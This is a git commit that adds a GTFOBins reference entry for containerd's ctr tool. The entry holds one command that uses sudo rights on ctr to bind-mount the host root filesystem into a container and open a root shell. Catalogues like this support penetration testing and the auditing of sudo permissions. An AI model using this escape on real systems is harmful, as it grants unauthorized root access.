containerd (ctr) root shell

This commit is contained in:
Vivaldo Chagas 2022-12-17 22:26:30 -04:00 committed by GitHub
parent 4baad5b113
commit a9c993b8c8
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23

8
_gtfobins/ctr Normal file
View File

@ -0,0 +1,8 @@
---
functions:
sudo:
- description: |
If ctr sudo permissions, you can use it to escape to a root shell. It is necessary to add an existing image.
- code: |
sudo /usr/bin/ctr run --mount type=bind,src=/,dst=/,options=rbind -t docker.io/library/alpine:latest bash
---